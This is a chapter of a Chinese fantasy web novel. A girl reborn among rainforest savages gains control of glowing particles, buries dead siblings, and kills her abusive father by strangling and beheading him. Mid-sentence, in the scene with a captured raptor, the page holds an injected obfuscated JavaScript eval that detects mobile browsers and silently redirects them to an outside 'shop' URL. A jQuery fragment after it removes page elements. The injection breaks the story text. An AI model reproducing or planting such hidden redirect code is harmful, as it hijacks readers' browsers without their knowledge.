山洞里终年潮湿,岩壁上渗出的水珠,滴滴答答落在地面。
自从上次险些窒息,乔晞就再也不敢发出任何类似哭喊的声响。她每日躺在草絮里数着水滴声,扮演一个再乖巧不过的婴儿。
野人爹闲来无事会凑到乔晞面前,用粗糙的大手掐她脸颊肉逗弄她。
乔晞不爱搭理他,不喜不闹。
野人的脑子都不好,经常犯轴。见状他竟学着野人妈平日里的模样,抓住乔晞小小的身子用力晃着。
乔晞现在已经被折腾得麻木了。
被晃得再厉害也不会吐出来。
野人妈喂她什么,她都乖乖喝下去。
不是乔晞被同化了,而是她发现这对野人夫妻吃血淋淋的生肉!
*
普通的一天,野人爹外出打猎,照旧驮回来一只羽毛斑斓的大鸟。那鸟还未彻底断气,发出凄厉的哀鸣,就被野人爹一把揪光了浑身羽毛。
五彩羽毛在山洞里漫天纷飞。
乔晞咯吱咯吱笑着拿手接羽毛。
野人妈则兴奋地吱哇乱叫,她抓住鸟脖子大口撕咬着生肉,血水顺着下巴淌到胸口。
乔晞笑不出来了。
缩在草堆里,浑身冰凉。
她长大以后也要吃这些吗?
就在胡思乱想时——
岩壁上忽然飘来一点细碎的光。
乔晞缓缓抬起眼。
山洞里,无数繁星般的细小粒子正凭空飞舞。轻飘飘,亮晶晶,像被风吹散的萤火,又像天地间最微小的尘埃,无声无息地漂浮。
乔晞怔怔看着,那些粒子竟像是听懂了她的心思,缓缓聚拢,在她眼前凝成一条又一条莹亮的丝线。
那些丝线柔软地晃了晃。
乔晞心里刚冒出“散开”的念头,丝线便瞬间崩解,化作漫天粉状的光点,洋洋洒洒落在她的小手边。
新奇与欢喜瞬间淹没了她。
*
从那以后,只要那对野人在跟前乱来,乔晞就安安静静地玩。试着在心里指挥,那些粒子便听话地拧成一股小麻花,在空中轻轻打转。
玩得兴起,乔晞心念一动,那股粒子麻花“咻”地一下,狠狠抽在正蹲着啃生肉的野人爹脚上。
“嗷——!”
野人爹疼得蹦起来,抱着脚在地上打滚,发出滋哇乱叫的痛嚎。他警惕地瞪圆眼睛,在山洞里焦躁地嗅来嗅去,粗壮的手臂胡乱挥舞,像在驱赶什么看不见的怪物。可他抓来抓去,什么都碰不到,只能暴躁地低吼。
只有乔晞能看见。
她眼睛眨巴眨巴,藏着满心欢喜。
*
而乔晞真正开心的是野人哥哥们回来的时候,因为她不止有野人爹妈,还有两个野人哥哥。
两个哥哥并不和乔晞一起在山洞里生活,他们住在更远的部落里,不过七八岁的年纪,已是出色的小猎手。
每次回来,哥哥们都背着沉甸甸的猎物,有小兽,有飞鸟,一股脑丢给野人爹妈,然后立刻兴冲冲跑到草堆边,抱起小小的乔晞。
只有他们回来,乔晞才能走出山洞,看见外面的世界。
*
蛮荒雨林。
参天巨树直通云霄,层峦叠嶂的大山长满奇花异草,巨大的叶片像撑开的绿伞,空气中弥漫着湿润的草木清香。
五彩斑斓的大鸟掠过天际。
远处的瀑布从万丈悬崖倾泻而下,水雾在日光下凝成一道横跨山川的彩虹桥。
大哥力气大,背着乔晞攀上粗壮的树枝,遇到挡路的横生枝干,他抬手一劈,粗壮的树干便轰然断裂,飞鸟惊起四散。
二哥身手矫健,最擅长骑乘大鸟。风从耳边呼啸而过,他带着乔晞在悬崖边俯冲,总是在最惊险的那一刻,将她抛向空中。
乔晞没有害怕,只有挣脱束缚的畅快。她小小的身子飞起,再被二哥稳稳接住,兄妹俩都发出兴奋的叫喊。
哥哥们还会带乔晞去吃花蜜。
崖边生长着一种海星状的花,花瓣淡紫色,花心分泌出清甜浓稠的花蜜。大哥摘下一片草叶,卷成细细的叶管戳进花心,把花蜜吸出来,再低头凑近乔晞,吹进她小嘴里。
甜。
带着阳光与花朵的香气。
乔晞眯起眼,小嘴巴咂了咂。
雨林由无处不在的粒子演化出森罗万象,红的、绿的、金的、蓝的,随着风,随着生命的气息流动。
乔晞常常被哥哥们放在一片玉盘似的叶瓣里,望着湛蓝的天空,用那些看不见的粒子悄悄作画。
画小鸟,画彩虹,画蠢哥哥。
还经常捏着小拳头,对着两个哥哥划圈。
哥哥们不懂这是什么意思,却牢牢记住了她这个动作。只要她小拳头一划到底,他们就立刻咿呀呼喊着,齐齐蹦起来,动作整齐又可爱。
若是有人慢了一拍,脚下就会莫名一绊,狠狠摔在草地上,爬起来却也不恼,只是对着乔晞嘿嘿傻笑。
他们不知道乔晞是怎么做到的,可这一点也不妨碍兄妹三人疯玩。
*
乔晞就这样稀里糊涂地长大了。
她学会了野人的语言,会滋哇乱叫了。野人话好像没有具体内容,全靠语气词搭配简单粗暴的手部动作。
乔晞三岁那年,村落里不知哪个聪明的野人,意外弄出了钻木取火。从此每个黑漆漆的山洞,到了夜里都灯火通明。
大哥和二哥回来时,也会背上一大堆干燥的树枝,在山洞外架起火堆,把猎物剥皮,串在树枝上,架着火慢慢烤。
油脂顺着肉纹滴落,落在火里发出滋滋声响,浓郁的肉香弥漫开来,再也没有生肉的腥气。
谢天谢地,乔晞终于能吃上熟食了。她会把大哥采来的花蜜抹在烤肉上,甜香混着肉香,大口大口嚼着吃。
可野人爹偏偏不喜欢火。
每次看到跳动的火苗,他就像被吓破胆,大喊大叫着到处乱窜。直到野人妈兜着水回来把火泼灭,他才消停。
乔晞咬着手指,歪头看着他。
女孩身上裹的遮蔽物从芭蕉叶升级成大鸟的羽毛。她小手悄悄抬起,那些无形的粒子凝聚成火苗的温度,追在野人爹屁股后面烧。
“嗷——!”
野人爹吓得魂飞魄散,狼狈地趴在地上,手脚并用地往后缩。凭着野兽般的直觉,他死死盯着乔晞,认定是她搞的鬼。
他不喜欢乔晞。
乔晞也不喜欢他。
*
乔晞五岁那年,山洞里多了两个满地爬的幼儿,那是她的野人弟妹。小小的婴儿皱巴巴的,咿咿呀呀。她不用像哥哥们那样费心带孩子,每天乐得自在。
因为野人妈不久前刚难产大出血,生了个死胎,身子彻底垮了,再也不能外出打猎,只能成天躺在洞里看孩子。
生产那天,乔晞怕那死胎被其他野人叼走分食,赶紧趁乱抱出去找了个河岸边潦草的埋了。
然后,她捡来三根细长的木头,插在土堆前摩擦点火。木头燃烧,青烟袅袅,在这片蛮荒雨林里,成了一炷简陋的香火。
她不知道自己为什么要这么做,但觉得就该这样做。
*
野人妈身体越来越差。
野人爹也很少回这个山洞了。
乔晞常常看见他扛着一大堆猎物回来,却只丢下极少一小部分,剩下的全拎去了另外的山洞。
乔晞常常有上顿没下顿,饿得肚子咕咕叫。
她开始尝试自己弄吃的。
天空有猛禽盘旋,羽毛锋利,身姿凶狠。
乔晞躲在大树后,五指收紧,空气中那些粒子凝成索命绳,朝着猛禽绞去。
那猛禽发出一声惊啼。
可乔晞还不会掌控力量,绞杀总是失败,只能勉强把猛禽绊倒在地上。她像小兽一样扑过去,雄赳赳气昂昂地按住它的翅膀。
猛禽在她手里滴溜溜转着眼睛,对着她轻轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315380|198945||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吱了好几声,带着求饶的意味。
乔晞过瘾似的先拔了两根羽毛插头上。
然后还是把它放了。
猛禽扑棱着翅膀飞上天空,盘旋几圈才远去。
饿极了的时候,乔晞就跑到雨林深处采花蜜,装在宽大的树叶里带回山洞,偶尔分一点给小妹。
小妹:“啊咿呀——”
这就表示很开心很喜欢。
*
为什么不给弟弟呢?
因为弟弟早就没了。
食物太少,营养不良,一场发烧就夺走了他的命。
乔晞和小妹把他埋了。
土堆前烧了六根木头。
*
这种荒芜又平静的日子,在乔晞七岁那年彻底被打破。
大哥二哥,已经两年没有回来过。
像是凭空消失在这片广袤雨林里。
乔晞每天跑到洞口张望,望穿了雨林的晨雾与晚霞,始终没有等到。
这天,野人爹突然回了她们的山洞。
他眼神狐疑,神情古怪,弓着背在山洞里一圈圈巡视,目光在乔晞和小妹身上来回打量。最后,他走到虚弱不堪的野人妈面前,对着她一顿吱哇乱叫。
意思是要带乔晞去别的山洞。
野人妈翻了个身,强撑着爬起来。她衰老得太快了,脸上满是褶皱,满头白发乱糟糟。
野人爹大步朝乔晞走过来,伸手就要抓她。乔晞有种很不好的预感,绷着身子往后退。
她知道去别人的山洞是什么意思。
就是像野人爹那样,去跟别人睡觉。
小妹龇着牙冲到乔晞身前,试图吓退野人爹。野人爹不耐地一把掀开她,将乔晞扛在胳膊下,转身就走。
乔晞的世界倾斜了。
她瞪圆眼睛,手掌暴起青筋,空气中无形的粒子瞬间凝成一股粗绳。
“嘭——”
野人爹被绊住,重重摔倒在地,发出一声痛嚎。他被彻底激怒,翻身起来掐住乔晞的脖子。
乔晞瞬间涨红了脸。
那种濒临窒息的恐惧再次席卷而来。
她咬牙。
一根锋利的丝线正艰难地成形。
*
在旁默不作声的野人妈突然仰天嘶喊起来,像头被激怒的母兽,横冲直撞将乔晞撞飞了出去。她扑在野人爹身上,张口死死咬住他的耳朵。
“撕啦——”
她硬生生把野人爹的耳朵撕了下来。
鲜血喷溅。
两人扭打在一起。
野人妈双手抠住野人爹的脸,这架势要把人眼珠抠出来。野人爹痛得疯狂嘶吼,一拳拳重重捶在她肚子上。
洞里一片混乱,地动山摇。
小妹嚎得撕心裂肺。
乔晞趴在地上,大口喘气。
她用尽全身力气抬起手,小心操控丝线套进野人爹脖子。
然后,用力拉紧。
绞杀——
野人爹突然眼球暴起,双手捂住脖子,嘴里发不出任何声音。
“咚。”他的头从脖子上滚落。
被野人妈拽在手里。
她高高举起那颗头颅,对着洞口方向,发出一声凄厉的仰天长啸。
那是野人战斗胜利的庆祝方式。
乔晞爬过去。
野人妈已经力竭,瘫倒在血泊里。
她张着嘴,喉咙咕噜咕噜说着什么。
乔晞把耳朵凑过去。
她听懂了,是让她们去找哥哥。
小妹伸着舌头舔着野人妈血流不止的肚子,发出悲伤的呜咽声。乔晞抱开她,伸手捂住了野人妈的眼睛。
野人妈在黑暗里停止了呼吸。
*
河岸边,又多了一座新土堆。
一连三个堆,九根燃烧的木头。
乔晞背起小妹。
去往哥哥们所在的部落,要跨越整片蛮荒雨林。